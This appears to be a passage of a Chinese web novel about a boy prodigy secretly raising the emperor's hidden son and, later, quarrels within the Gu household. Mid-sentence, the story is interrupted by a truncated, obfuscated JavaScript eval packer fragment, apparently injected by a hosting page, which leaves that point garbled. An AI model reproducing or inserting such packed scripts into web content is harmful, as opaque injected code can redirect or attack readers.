大殿内,皇帝看着十三岁的盛长轩倍感欣慰,毕竟盛长轩以十三岁的年龄成为了本朝有史以来最年轻的六元及第状元郎,可谓是刷新了其父盛瑾的记录,给他在位时期增添了一项功绩啊! 皇帝满意了,那在大殿之上的文武百官自然也不能扫皇帝的兴致啊!至少他们表面看上去对盛长轩十分满意。 在朝的官员无论文官,还是武官,他们看着盛长轩的同时,又撇了一眼同样在大殿之内的盛瑾,那心里都是五味杂陈啊! 满朝文武百官谁家没有几个孙子儿子呢,那种家中子孙有上进心的官员,心里还好受些,那种家中子孙不上进的官员看到盛长轩十三岁就成为了状元郎时,便想起自家子孙十三岁还在捉猫逗狗,突然心里有了一种恨不得把他们塞回娘胎回炉重造的想法,果然货比货得丢,人比人的扔,可惜是自家亲生的扔不得啊! 这些人抱着这种想法看着盛长轩,心里有些眼馋这样的别人家孩子,其中有不少心思活跃的官员已经在盘算着自家有没有和盛长轩年纪相仿的姑娘了,毕竟把别人家的孩子变成自己家最好的方式就是让对方成为自家女婿,说起来盛长轩的出身不低,国公府唯一的孩子且是嫡出,父亲盛瑾贵为国公爷又是工部尚书。 这些人与盛瑾同朝为官多年,对盛瑾的事情不说一清二楚但也多少知道一些,在他们眼中盛瑾的人脉资源可不少,除去在朝中结交积攒的人脉外,还有盛瑾支助过的书院和他的封地这些年也出了不少为官作宰的人,盛瑾与这些人多少有点恩情,这部分积少成多也成了盛瑾手中一股不容小视的力量啊! 盛长轩作为盛瑾唯一的孩子,他未来会继承盛瑾绝大部分的人脉资源和家产,丰国公府的家产可不薄,更何况还有慕卿云的嫁妆呢,而且盛长轩本身也出色,这样瞧着盛家未来五代内应该不会没落,这样看来盛长轩妥妥的金龟婿啊! 在场有这种想法的官员看向盛长轩的目光有些许火热了,而其他的人则是想着眼前这个如孙儿(儿子)一般大小的孩子以后要与他们同朝为官,看向盛长轩的目光变得柔和许多,于是便出现了满朝官员除了盛瑾外都在以一种怪异的慈爱眼神来看着盛长轩的场景,而他们谁都没有想到接下来盛长轩会提出一个让他们震惊的请求。 盛长轩的这个请求让他们突然觉得自家子孙还是很好的,至少不会有向盛长轩这样先斩后奏的胆子,也让一些官员收回了让盛长轩当自己女婿的想法了。 在场的官员听完盛长轩的请求后,下意识的瞥了眼盛瑾那边,只见盛瑾面无表情的看着盛长轩,他们虽然看不出盛瑾内心的想法,但他们敢保证盛瑾绝对不知道盛长轩的这个请求,不然丰国公府这几天不会如此风平浪静。 无论是皇帝还是盛瑾都对盛长轩要去管理边疆那边城池的请求感到惊讶,毕竟边疆那边现下虽然没有战事,但气候和生活方式绝无在汴州城这边好。 皇帝看了一眼盛长轩的同时,瞥了一眼盛瑾,思考了一会儿,不知想到了什么事情,而后再问了一遍盛长轩,他确定要去边疆嘛。 盛长轩顶着盛瑾的目光,没有改变自己向皇帝提出的请求,皇帝见盛长轩的态度十分坚定,便同意了盛长轩的请求。 一旁的盛瑾虽然脸上没有任何表情,但是心里已经被盛长轩这一举动给气的不行,可是皇上都同意了,对此也有无可奈何,只能默默的在心里想着:“盛长轩这个兔崽子,跑得了和尚跑不了庙,老子就不信他还不回家了,如果这件事情不给我一个满意的答复,老子一定让这个小兔崽子体验一把别人家顽劣孩童的待遇,让他尝尝社会上的毒打。” 盛瑾这么想着,可却没来得及对盛长轩实施,因为宴会一结束,盛长轩就被一名太监拦住带走了,对此盛瑾无奈的先自行回去了。 等盛瑾回到丰国公府后,白老爷没有看到盛长轩便出口询问盛瑾,盛瑾沉着脸将这件事情告诉了白老爷,然后让下人找了根木棍。 白老爷一看就知道盛瑾被气的不轻,毕竟盛瑾从来都不打孩子的,于是他急忙开口安慰道:“瑾哥儿,你别生气,轩轩这个孩子是极好的,有什么事情你和孩子好好说。” 白老爷还是很宝贝盛长轩这个孙子的,盛瑾看着白老爷说道:“义父,你放心,我一定和他好好说。” 白老爷有些不信,毕竟盛瑾那句好好说是咬牙切齿的说出来的,他放心不下便陪着盛瑾在丰国公府一同等着盛长轩回来,全然不知道自己的儿子(孙子)会给他们带回来一个“大惊喜”。 这个“惊喜”把盛瑾和白老爷吓得不轻啊!一度让盛瑾思考是什么原因让他的好大儿一夕之间变成这样叛逆了呢,难道是迟来的叛逆期嘛,可是都说少年的叛逆高峰时期是十四岁啊!他儿子才十三岁,难道天才都如此不同嘛。 另一边的宫里,那名太监将盛长轩带到了宫里的一处偏殿,盛长轩看着这个偏殿四周一片荒凉,心中起了一丝防备,那个太监让盛长轩自己开门进去,他则守在外面。 盛长轩推开门,走近一看,皇帝正坐在床上,怀中抱着一个三岁左右的小孩子,小孩子安静的睡在皇帝的怀中,皇帝一脸慈爱的看着怀中的孩子,盛长轩心里一惊,他从未听说皇帝有子嗣,这个孩子是哪来的。 皇帝看着盛长轩道出了他心中疑问的答案,皇帝没有过多的解释,只是轻声说道:“他是朕的儿子,他的母亲是一个宫女,那个宫女在生他时难产而去了,除了朕和朕的心腹,没有人知道他的存在。” 皇帝停顿了一会儿,眼神从犹豫转为坚定,开口道:“朕想让盛爱卿将皇儿带去边疆,由盛爱卿你亲自扶养。” 殿内突然一片安静,过了一会儿,盛长轩对皇帝恭谨道:“臣才十三岁,还是个孩子,如何能当得起扶养皇子之责,请陛下另择贤能。” 盛长轩心里默默的补了一句:“还是唯一的皇子,未来的皇帝。”他比谁都清楚这个皇子在皇帝心中的重量。 皇帝看了盛长轩好一会儿后,叹了口气道:“朕本来是想将皇儿交由盛国公来扶养的,可汴州城内人多眼杂,丰国公府若是平白无故多出个孩子,恐怕要不了多久就会有人发现并查出皇儿的身份了,正好今天盛爱卿提起去边疆的事情,于是朕便起了心思。” 盛长轩心下一惊,心里暗道:“这是打算赖上我们父子二人了,满汴州谁不知道皇嗣早夭,这样养活了还好说,就怕养不活啊!到时候算谁的。” 皇帝眼神中闪过一丝落寞,道:“朕知道这件事情对于盛爱卿而言十分为难,但朕相信盛国公不会放着独子一人独自去往边疆的,朕也知道盛国公自幼被隐士扶养长大,有些异能在身。” 盛长轩闻言,眼神中闪过一丝惊讶,语气中带着一丝惶恐,道:“陛下慎言,家父只是寻常人罢了。” 皇帝抬手制止盛长轩的发言,道:“这件事情只有朕知道,也只会是朕一个人知道,朕会将这个秘密带进墓里。” 皇帝说到这里,眼眶微微有些通红,语气带着一丝哽咽,道:“朕只求这个皇儿好好长大,这也不行吗?” 盛长轩看着眼前有些悲伤的皇帝,他知道自己无论如何都无法拒绝皇帝的提议,既然拒绝不了皇帝,那么就为自己争取一些福利吧,于是他开口道:“陛下,臣愿意领命,但为了小皇子的安全,臣需要一些保障。” 皇帝听到盛长轩这么说,便知道盛长轩答应他扶养皇子了,于是他的心情平静下来,道:“盛爱卿请讲。” 这一夜谁都不知道盛长轩很皇帝谈了什么,但是他离开时,谁也不知道他从宫中带走了一个孩子,这个孩子将成为下一任皇帝,而盛长轩和这个孩子也将开启盛世王朝。 丰国公府中,盛瑾和白老爷正在等着盛长轩呢,突然远处有个人影越来越近,怀中好像还有个东西。 盛瑾定睛一看,果然是自家那个小兔崽子,对在盛瑾心里自家那个好大儿已经升级为小兔崽子了。 盛长轩走进大厅后,盛瑾正想对盛长轩发脾气时,才发现盛长轩怀中抱着的是一个三岁大的男孩,这可把盛瑾和白老爷吓了一跳,尤其是盛瑾都怀疑自家儿子是不是去哪里拐来的孩子。 盛瑾心里想着如果是真的,他一定大义灭亲的亲手送这个兔崽子去大理寺,当然,这只是开玩笑的,毕竟他自己养大的孩子他还是知道其性子的。 盛长轩并不想让其他人知道这个孩子的存在,因此他一路都是避着人回府的,当然,他也知道盛瑾和白老爷一定会在大厅等他给今天的事情一个解释,更何况今天他先斩后奏的行为让盛瑾很生气,为此盛瑾很大概率会收拾他,既然要收拾他,那么无论是盛瑾还是白老爷都不会让自家下人看到自己收拾孩子的场景的,所以这里除了盛瑾和白老爷,并没有他人的存在,也正因为这样他才敢将孩子带到大厅来。 正如盛长轩所料,现在除了白老爷和盛瑾,无人知道这个孩子的存在,过了好一会儿,白老爷才反应过来,指着这个孩子问道:“轩轩,你这是哪来的孩子呢?” 白老爷此时的心里状态处于一片懵逼,毕竟他的好大孙子出去一趟回来,给他带了一个字面意义上活的“大惊喜”。 白老爷实在是想不出为什么自家孙儿出去一趟就带回个孩子,总不可能是自家孙儿捡的吧,这汴州城的人家现在都开始在大道上扔孩子了嘛,至于这是不是盛长轩的孩子,他都不用思考便知道这绝无可能,毕竟盛长轩如今才多大啊!就算他有这个想法,也没这个能力啊! 白老爷是不相信在自己跟前长大的孩子会做什么罪大恶极的事情的,毕竟盛长轩是在他们身边长大的,不是他吹啊!他和盛瑾在这个时代算是一个道德高尚的人,平时对孩子们虽然宠了点,但是该严格还是严格的,而且盛长轩还经常帮他们管教顾廷烨和顾廷炜。 盛瑾在一旁盯着盛长轩,心里起了逗弄盛长轩的心思,于是他洋装出一副若是情况一不对劲立马动手大义灭亲的表情,看得盛长轩尴尬的摸了摸鼻子,委屈的说道:“爹爹祖父,我是你们养大的,这点信任还是要有的。” 盛瑾哼了一声,之前他们还是对自家孩子有信心的,但是今天盛长轩的先斩后奏行为导致盛瑾现在暂时将对他的信任度降为零,而此时盛瑾的头脑风暴已经平静下来了,只是不想搭理盛长轩而已。 盛瑾看到盛长轩还在耍宝逗他们,要不是看到他还抱着孩子,盛瑾恐怕已经直接抄起棍子揍他了,他看着盛长轩怀里的孩子穿着,此时心里已经有底了,于是他直言道:“这是皇子吧,是陛下偷偷藏起来的嘛。” 盛瑾想着过去历史上的皇帝五六十岁了还能生子,当今皇帝能再有子嗣并不奇怪,因此盛瑾说出这句话时是肯定的语气。 盛长轩眼神有些漂浮不定,语气中透着一丝心虚,甩锅道:“爹,你真厉害,是陛下塞给我的,他不知从那听到一些关于爹爹的事情,便一心认为爹爹有异能,只要皇子养在爹爹这,就能平安的长大,但碍于汴州城内人多眼杂,一直下不了决定,如今我要去边疆,陛下便又起了心思,这本来就是爹爹的包袱,只不过被我接手了。” 盛长轩说到这里,有些于心不忍道:“更何况这段时间,小皇子一直生病,所以陛下就死马当活马医了,因为之前的皇子陆续夭折,陛下怀疑有人暗害皇子,才偷偷养了这个孩子,我看到陛下那样有些于心不忍。” 白老爷在一旁听得目瞪口呆了,没有注意到盛长轩口中“异能”二字,但盛瑾的心却提到了嗓子眼了,不过他很快便平静下来了,心道:“果然古人也不是什么傻子,皇帝八成是觉得我有些奇异的本事和能耐,又想着我是由隐士扶养长大的,也就不怎么奇怪了,要不然早就将我当成妖孽杀了。” 盛瑾在心里暗自叹了口气,道:“你可真是我的好大儿子啊!直接给我来了个烫手山芋啊!你是不知道现在各个王爷都盯着陛下的皇位,想要吃陛下的绝户粮嘛,要让他们知道陛下还有个孩子,这孩子能不能平安长大都是个问题呢,若是养不活,陛下又会怎么对付我们府上呢,毕竟陛下再怎么仁厚,这也是他的老来子啊!还是他唯一的继承人。” 盛瑾心想:“皇帝这是在逼盛家战队,还是站在一个奶娃娃身后,说来说去皇帝不是将皇子交给你养,是将他交给盛家来养,恐怕皇帝便是拿捏着我为了盛家不敢不对皇子尽心啊!” 盛瑾想到这里,心里瞬间火冒三丈,暗道:“这小兔崽子,我不信你不知道你爹我现在的生活过的有多累啊!眼瞅着你考中了状元郎,我也能找个理由辞官过起养老生活了,这下你到好,老子因为你离养老生活又有了遥远的距离了,你不知道你老爹有多懒得应付那些人吗?啊!还有养孩子是那么容易的事情嘛,更何况是皇帝的儿子,还很有可能是唯一的儿子,这皇子要是出了问题,皇帝还不疯了。” 盛瑾现在是咋看盛长轩都不顺眼了,心想:“老子以前是有多眼瞎,才觉得这小兔崽子是好大儿呢。” 盛瑾对着盛长轩冷笑道:“人家都说养儿防老,我养的儿子可真好啊!直接整出个烂摊子让你老爹给你收拾。” 盛长轩赶紧说道:“老爹,我哪敢啊!再说了,你儿子不傻,这孩子养在汴州城早晚会有人知道的,除非老爹你对外宣布这是你的私生子,但你和娘的感情天地可知啊!瞒不过汴州城的人。” 盛长轩看到盛瑾听到“私生子”,脸都黑了,急忙道:“当然我没有打算让老爹对此做出牺牲,而且孩子长大后,如果长得像陛下的话,一眼就会认出是陛下的孩子,让皇子做父亲的私生子,那些个文官不会放过我们盛家的,因此皇子自是要随我去往边疆的,为此陛下还给了我兵权来训练士兵呢,我就是想和老爹借一下人手来养小孩的,我知道爹爹的能力的,老爹你不会真想让你十三岁的儿子养三岁小孩吧。” 盛瑾心里想:“哦吼!画重点,为了兵权连老爹都不要了,真是大孝子啊!这把坑爹用的真溜啊!现在知道你十三岁了。” 盛瑾瞪着盛长轩好一会儿,无奈的叹了口气,白老爷见盛瑾有话想要问盛长轩,也就自己出去消化一下大孙子给自己的惊喜啊! 白老爷第一次与那些不肖子孙的长辈们感同身受了的同时,也对皇帝感同身受了,毕竟白家那群贪婪的族人当初不就是想吃他家的绝户粮嘛。 房屋内的盛瑾对盛长轩一脸严肃,道:“你老实告诉我,你为什么要去边疆,你和陛下做了什么交易,我自己的儿子自己了解,你是个不见兔子不撒鹰的人,你到底想要做什么。” 盛长轩看着自己的父亲,脸上浮现出一丝笑容,道:“爹爹,我从小就知道您来历不凡,无论是你给我读的书籍,还是东西,都不是这个朝代能拥有的东西,我从来不问您这些东西哪来的,我知道您也不会说,我只知道一点,您是我父亲,您不会害我的,所以我也不想问,但是我学了那么多的东西,我想为这个王朝的百姓做些什么,我想在要这个王朝不在被欺凌,我想要收回遗失的领土,我想要收服边疆各个部落,我想要开疆扩土,父亲您会帮我吗?” 盛瑾看着自己的儿子眼里的坚定,心里却不由自主的跑偏道:“敢情老子给你丰富知识还有错了嘛。” 盛瑾就这样看着盛长轩好一会儿后,叹了口气,道:“所以你收养了皇子,想要将他培养成你心目中的完美君王,守住你的心血。” 盛长轩心里清楚自己的父亲同意了,微微一笑,道:“是,我和陛下说了,未来我所建立的军队会交个皇子,他选择了相信我。” 盛瑾看着眼前的盛长轩,眼神中闪过一丝欣慰,语气中带着一丝骄傲和无奈,道:“既然如此,我还有反对的权利吗?” 盛瑾想着今天可能是这一年来他叹气最多的一天了,然后,他一下子抱住了盛长轩说道:“记住,无论如何父亲都是你的后盾。” 盛长轩回抱住盛瑾说道:“知道了,爹爹,对了,爹爹,陛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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常嬷嬷面色不变,道:“姑娘的心是好的,但是哪个疼爱姑娘的人家会给自家姑娘找个身子骨弱的夫婿呢,虽然郎中说煜哥儿身子好好养着也能活到五十多岁,但是谁又能保证煜哥儿一定能活到五十多岁呢,再者郎中可是说过煜哥儿子嗣艰难的,光是这一条就能让汴州城内的高门大户人家回避了。” 常嬷嬷说到这里停顿了一下,继续道:“侯爷给煜哥儿找一门亲事对姑娘而言也是一片好心,而且这邵家姑娘再怎么说都是四品官员的嫡长女,门户上的差距也没有太大,更何况姑娘你能保证自己找的媳妇就一定合煜哥儿的心意嘛,到时候煜哥儿夫妇不和,姑娘不是两头不好嘛。”说到底她还是不想白滢婷插手顾廷煜的婚事,毕竟顾廷煜又不是白滢婷亲生的,若是顾廷煜的婚事出了岔子,到时候白滢婷在顾廷煜和顾偃开那里都讨不到好。 白滢婷不傻,她也听出了常嬷嬷的言外之意,过了许久,她叹了口气道:“那就按着顾偃开的话来吧。”于是没过几个月,顾廷煜就娶了邵氏为妻,而白滢婷和邵氏在相处几日后,她也摸清楚邵氏的性子了,说好听点是软绵绵的,说不好听点就是懦弱没有主见,好在这个邵氏全身心都在顾廷煜身上,这才让白滢婷满意了一点。 等顾廷煜成亲一个月后,白滢婷就将手里的秦大娘子的嫁妆整理好交到了顾廷煜手中,美名其曰让顾廷煜先拿秦大娘子的嫁妆中的铺子练练手,以后他接管侯府时才能打理好一切,毕竟邵氏看上去就不像一个能管家理事的,索性顾廷煜聪慧过人,现在开始学习也能打理好侯府的一切产业,至于邵氏,白滢婷教了她半个多月后发现她真的不行,便放弃了继续教导她打理侯府事务的想法了。 白滢婷对于邵氏没有喜爱也没有厌恶,想着让顾廷煜多和自己的新婚妻子相处,便免了邵氏对她的每日请安,为此五房太太还阴言怪气道:“果然不是亲生的便不重视。” 白滢婷当时一脸冷笑的看着五房太太,回怼道:“五弟妹这是什么话啊!我是心疼自己的媳妇罢了,就算是烨哥儿和炜哥儿未来的媳妇我也是一样对待的,再说了我们顾家堂堂侯府又不是没有丫鬟小厮伺候,犯不着借着孝顺之名来磋磨新妇吧。” 五房太太闻言瞪大双眼刚想和白滢婷吵起来,四房太太连忙出言制止道:“今天我们家的媳妇可都在,莫要让小辈们看长辈们的笑话。” 五房太太闻言便熄了火,而白滢婷也没有再说什么,毕竟现在白滢婷和五房太太的关系就是井水不犯河水,只要五房太太不惹白滢婷,白滢婷也不会找五房太太的麻烦,若是五房太太要拿白滢婷说事,那白滢婷也不会惯着五房太太。 时间一眨眼就过了三年,这天汴州城发生了一件大事,皇帝活下来的两个女儿中的大女儿要与驸马和离,公主与驸马和离这种事情从古至今可以说是极少数了,更何况这位驸马还是皇帝的外家李家出身,当初皇帝亲自赐下这门亲事为的是保李家荣华富贵,如今公主要和驸马和离,朝中大半的文官都不同意,而且他们还揪着公主不敬婆母来说事。 皇帝被这件事情搞得心力交瘁,毕竟一边是自己的亲生骨肉,一边是自己的外家,还有一群文官在那煽风点火,是个人都累啊!于是这件事情便僵持了一个多月,最后盛瑾实在看不下去了,便带头道:“公主贵为陛下的亲生女儿,乃是君,而李家虽为陛下外家,但到底还是臣,用不敬婆母来说公主和驸马之事未免有些不和礼数了,再者,据臣所知李家的那位大娘子是由小妾扶正的,性子颇为泼辣,自从公主嫁进李家后,便时常拿婆母的身份来压公主,这往小了说是李家的行事作风不合礼数,往大了说怕是这李家早有不臣之心了。” 盛瑾此言一出,相当于给李家扣了定不忠君的帽子,原本帮李家出言的人瞬间哑言了,过了好一会儿,有位官员硬着头皮道:“盛国公,此言差矣,妇人应该相夫教子、孝顺婆母,这乃是寻常人家妇人的本分,如何能扯到李家忠不忠君上呢。” 盛瑾闻言,嘴角微微挂起,道:“这位大人都说了是寻常妇人的本分了,难不成皇家在这位大人眼中也是寻常人家嘛。” 盛瑾的话让这位官员汗流浃背,没等他接着说,盛瑾便直接开口道:“再者寻常人家的妇人也不是不能和离,为什么到了皇家这里就不行了呢,难不成寻常妇人可为,皇家公主就不能为了嘛。” 这位官员闻言,眼中闪过一丝愤怒,道:“盛国公你这是谬论,只自古为人妇者就应该孝顺、侍奉公婆。” 盛瑾默默的看了一眼那位官员,过了一会儿,语气平淡道:“井蛙不可语于海,夏虫不可语于冰。” 盛瑾这句话气的那位官员想要揍他,但是碍于武力值和现在在朝上又忍了下来,而盛瑾说完这句话后,便看向其他官员,直言道:“诸位大人,这里是朝堂,是解决国家大事的地方,不是让我们来决断陛下家务事的,公主和离之事说到底是陛下的家务事,我们这些个外人又何须多言呢。” 盛瑾说完后,朝堂上更是一片寂静了,过了好一会儿,皇帝看了盛瑾一眼,接着示意一旁的太监宣布退朝了,没过几天,公主和离的消息从宫里传了出来,可见对于皇帝而言,外家再重要也重要不过亲生骨肉啊!与此同时盛瑾也接到了圣旨,盛瑾的职位由原来的工部尚书变成了少师并让其修养三年。 皇帝这道圣旨的言外之意是我认同盛瑾的话,但是为了你们的感受,我惩罚盛瑾三年不用上朝,不过你们也别想对盛瑾做什么,盛瑾的靠山是我,而盛瑾接到圣旨时乐开了花,毕竟谁不想带薪休假三年啊! 至于职位从工部尚书变成少师这件事情在盛瑾眼里没有任何区别,反正都是为皇帝工作。 汴州城里的文武百官再次通过这道圣旨了解到了皇帝对盛瑾的恩宠有多厚了,心里对盛瑾也越发忌惮了,毕竟历朝历代也没有几个皇帝会明晃晃的护着一个官员,尤其是有着仁善之名的当今皇帝,如今却不顾形象护着盛瑾,可见盛瑾深得帝心啊! 第 32 章 今天是盛瑾接到圣旨后的第三天,当初白老爷在知道了盛瑾修养三年这件事情后,他心里便萌生出了回扬州城待段时间的想法,其实他的这种想法也不是现在才有的,先前盛长轩的离开使得他的日子一下子平淡了起来,因此他便会时常想起在扬州城的场景。 白老爷深知自己如今年岁已高,也不知能活多久,先前因为盛瑾和白滢婷不放心自己,他才没有提出来回扬州城,如今正好盛瑾有三年的休息时间,以他对盛瑾的了解,盛瑾必定不会放心自己一个人回扬州城的,若是他提出让盛瑾陪同一起回扬州城,盛瑾绝对会答应的,正好借着这个机会让盛瑾散散心,放松放松心情。 至于白老爷为什么说散散心呢,那是因为盛长轩从宫里带回个孩子给了白老爷一定的压力,对于那天晚上的事情,白老爷谁也没有告诉,就像是从来没有发生过一样,即使白老爷是一名商人,但他也知道这件事情的严重性,如果皇上在未来还没有子嗣,那么盛长轩扶养的这个孩子将会是皇位的唯一继承人。 白老爷深知这件事情是有巨大的利益的,但巨大的利益往往伴随着巨大的风险,如果盛家没有保住这个皇子很有可能被皇帝迁怒,可这件事情白老爷就算再怎么着急也没有办法,于是这件事情便一直压着白老爷心里了,正好趁着这个时候回扬州城散散心。 其实白老爷并不了解盛瑾的厉害之处,所以他一直为盛瑾和盛长轩担心着,毕竟这件事情兹事体大,稍有不慎,整个丰国公府都要陪葬,因此白老爷对于这个秘密绝口不提。 白老爷在这天对盛瑾说道:“这些年我在汴州城待得也够久了,轩轩赴任后,我越发想念扬州城了,正好如今瑾儿你有三年的假期,不如随我一同回扬州城看看,也好散散心。” 盛瑾闻言,如白老爷预料到的一般,道:“当然可以了,义父,不过我想让婷儿和炜儿、烨儿一同回一趟扬州城,烨儿如今已是举人,而炜儿再过一两年也要考举人了,正好可以带着他们去感受一下扬州城的风景,与扬州城的读书人一起交流一下自己的知识,以此来开阔一下他们的眼界和知识,至于婷儿她在汴州城这么久了,也该出去散散心了。” 白老爷眼中闪过一丝犹豫,道:“烨儿和炜儿还好说,婷儿是侯府当家大娘子,若是她也去了扬州城,那侯府谁来打理啊!” 盛瑾轻笑了一声,道:“义父,妹妹又不是侯府的老妈子,侯府一大群人在呢?又不会缺了妹妹就不转了,再说了煜儿不是娶了新妇嘛,让他新妇接手呗,反正这宁远侯府早晚是煜儿夫妇二人的,让他们提前适应一下也不是不行,更何况妹妹要不要去还是要由她来决定的。” 白老爷闻言也不在说什么了,于是盛瑾直接写了一封信给了白滢婷,白滢婷接过信件看完后,不由的想起了扬州城,想起她做姑娘的那段无忧无虑的日子,那时的她有父兄的宠爱,因为哥哥是国公爷,所以大家对她这个盐商之女明面上是十分的尊敬,那时的她没有如今这么多的烦心事。 白滢婷想了很多,最终她决定带着两个儿子与盛瑾、白老爷一同回扬州城,她告知了顾偃开这件事情后,顾偃开虽有些意见,但到底也没有反对白滢婷回扬州城,至于宁远侯府的事务,白滢婷交给了顾廷煜夫妇和四房太太、顾廷烟,为此其的五房太太在自己院中与顾家五老爷闹腾。 只见五房太太眼中充满了愤怒,道:“她白滢婷就是针对我,先前炀儿读书的事情她不肯帮我,现在连侯府管家的事情她也不让我插手,她就是见不得我们五房好。” 这些年五房太太无比眼红大房一脉子嗣出息,顾廷烨就不用说了已经是举人了,那顾廷炜的年龄和自家小儿子差不到哪去,可人家那谈吐风度和自家孩子就是不一样,眼瞅着又是一个有出息的,而顾廷煜,即使身子骨再弱,那也是有一个爵位撑着的,这也是五房太太不喜欢白滢婷的原因之一。 顾五爷看着五房太太无理取闹的样子,沉着声道:“你简直在胡闹,那锦江书院是想塞人就能塞人的嘛,就连四房的煊哥儿都是先读的锦江书院蒙馆后考进去的,再说了在哪不是读书嘛,人家盛国公的儿子都没去锦江书院呢。” 五房太太闻言更气愤了,她愤愤不平道:“人家盛国公是状元郎,谁不知道他在家指导自己的孩子和大房那两个哥儿啊!瞧着吧,再过几年炜哥儿参加科举了,八成一次就考中举人,到时候大房除了煜哥儿身体原因不能科举出仕外,那可都是身有功名的人,若是当初白滢婷也将我儿送到丰国公府读书,那炀儿肯定比大房那两个哥儿有出息。”也不怪她这么想,毕竟顾廷烨和盛长轩都是在丰国公府读书的,一个状元郎,一个举人,她自然而然将成才的因素归结在盛瑾身上。 五房太太无理取闹,但顾家五老爷还是有点脑子的,盛瑾在朝为官哪有那么多时间教导孩子读书,他就是再想自己儿子成才也不会没有理智,他冷着脸道:“你莫要胡言乱语,盛国公公务繁忙,哪里来的那么多时间指导孩童功课,是人家盛家公子和烨哥儿天资聪慧又勤奋好学才有了如今的成就,再说了,烨哥儿是盛国公的外甥,盛国公让他到丰国公府读书也是合理的,我们炀儿是盛国公的什么人啊!人家凭什么让炀儿去自己家中读书,又凭什么百忙之中抽时间来教导炀儿呢,人家是国公爷,不是我们顾家找来的夫子。” 顾家五爷说到这里想起了顾廷炀往日的作风,气不打一处来道:“你还好意思提炀儿学习的事情,之前以我们宁远侯府的地位找个像样的夫子不难,虽然不敢说能教导成才,但绝对比现在的夫子好很多,我们五房与四房、大房都请了夫子,结果除了大房的夫子没有离开过,我们两房前头的夫子不知被气走了多少,你心里没点数嘛,现如今外头只要听说宁远侯府四房五房找夫子,一个跑的比一个快,生怕晚一点就被我们两房逮着教书了,羞得我在汴州城读书人的圈子中抬不起头来啊!先前炀儿犯错,我要收拾他时你非拦着,说什么都是夫子有问题,导致每次教育在炀儿眼中都是雷声大雨点小的,结果现在我们四房五房除了煊哥儿有举人名头在,其他人连个秀才童生都不是,说到底炀儿都是被你纵容溺爱成现在这副样子的,要不然同为顾家子嗣为何会相差如此之大呢。” 白滢婷若是在这里恐怕要吐槽道:“他们顾家宠孩子可真是一脉单传啊!前有老顾候夫妇和顾偃开对四弟弟五弟弟的宠爱,后有五房太太对大儿子顾廷炀的溺爱,以及顾家四老爷对刘小娘和庶子顾廷炳的宠爱,这可不是一脉单传嘛。”可惜白滢婷不在这里。 五房太太一脸不可置信的看着顾家五老爷,语气中带着一些抽泣,道:“官人,我都是为了我们儿子、我们四房啊!你怎么能这么说我呢,我们且不说炀儿先前读书的事情,就说说眼下侯府管家之事情吧,那大房本来继承家产就比我们多,现下子嗣也比我们两房出息,若是我不想想办法为我们这一房谋些权利,以后这外出谁看得起我们顾家五房啊!” 顾家五老爷眼中闪过一丝厌恶,道:“你不要拿我当傻子,我虽然不同事务,但还是懂些事情道理的,我们顾家明面上还未分家,实则父亲母亲去世前就已将家产分了,现下还在侯府住着,吃穿用度也走的府中公账,那都是大哥哥对我们两个弟弟的疼爱和照顾,若是你在想得些什么其他的东西便是得寸进尺了,而且父亲母亲留给我的家产每年好好打理也有个上万两收入,你好歹也是大户人家出身,眼皮子怎么这么浅,再者,大嫂嫂也不是什么小心眼之人,要不是你先前对煜哥儿和烨哥儿做的那些个事情,她也不至于与你关系冷淡,这次管家之事可不止是大房煜哥儿夫妇和烟姐儿,还有四房四嫂嫂呢。” 五房太太听到顾家五老爷的话后,怒气一下子上来,全然不顾理智,眼中充满了愤怒道:“官人,难道你让我和四房那位一样没皮没脸的,热脸贴她白滢婷的冷屁股嘛,我做不到,她白滢婷算个什么东西啊!一届商贾之女,不过是运气好有了个国公爷哥哥,因此得了个县主的名头,要不然她在这汴州城算老几啊!” 顾家五老爷闻言,怒斥道:“闭嘴,你简直疯了,居然将陛下亲封的县主、我们顾家的当家大娘子侯府夫人称作什么东西,这要是传出去了,我们顾家还要不要做人了,还怎么和盛家做亲家啊!我平日里只当你和大嫂嫂关系不好,现下看来你这次连四嫂嫂也恨上了啊!什么热脸贴冷屁股,这种话你也说的出口啊!人家四嫂嫂对你的态度和对大嫂嫂的态度都是一样的,怎么在你眼中还不同了。” 顾家五老爷说到这里时,看了一眼面前已经毫无理智的五房太太,冷声道:“你若是再这般惹事生非,我便去问问岳父岳母是如何教导女儿的,母亲生前可和我、大哥哥说过若是你再做出什么荒唐的事情来,念在你为顾家生了两个哥儿的份上,不便休妻只能将你送到庄子上思过,我就不信若是将你做的这些个事情告知你娘家,他们会冒着家族其他姑娘名声受损的风险来保你。” 顾家五老爷说的事情是真的,当时他还以为顾侯夫人多此一举了,现下看来是顾侯夫人未雨绸缪了,果然,他这话一出,眼前的五房太太的脸色像是双打的茄子一般,接着便倒在地上,刚才嚣张的气势一下子消失的无影无踪了,他看着眼前的五房太太,实在是懒得再多言什么了,随即拂袖而去。 顾家五房院子中的闹剧传到了四房太太这里,她叹了口气,道:“五弟妹这是何苦呢,就算大嫂嫂和大哥哥关系平淡,但到底是夫妇一体,大哥哥不会让大嫂嫂失了体面的,况且大嫂嫂人也好相与,如今顾家最有出息的便是烨哥儿了,将来大哥哥离世,还是需要烨哥儿撑起顾家的门楣的,兄弟之间可以照拂,但叔侄之间关系又远了,现下不好好相处,未来有什么事情需要烨哥儿帮衬,如何开得了口啊!人家又凭什么帮你呢。” 四房太太的心腹附和道:“是啊!大娘子,五房那位大娘子就是魔怔了,虽说大房那位大哥儿如今已娶亲了,但那位的身子骨可是先天体弱啊!将来有没有子嗣都是个问题,谁说的准未来爵位是谁的。” 顾家外的人或许不知道顾廷煜的身子具体情况,但顾家下人们肯定是了解的比外人多些的,他们都知道顾廷煜身子骨弱、子嗣艰难,顾廷煜娶媳妇在他们眼中那是应景的啊!没准将来这爵位还是落在顾廷烨手中的啊! 四房太太眼瞳微微垂下,轻声道:“这话以后少说,大嫂嫂最是听不得别人说煜哥儿身体的事情,再说子嗣的事情谁说的准呢。” 四房太太心腹闻言,眼瞳立刻垂下,语气中的带着一丝慎重,道:“是奴婢失言,多谢大娘子提醒。” 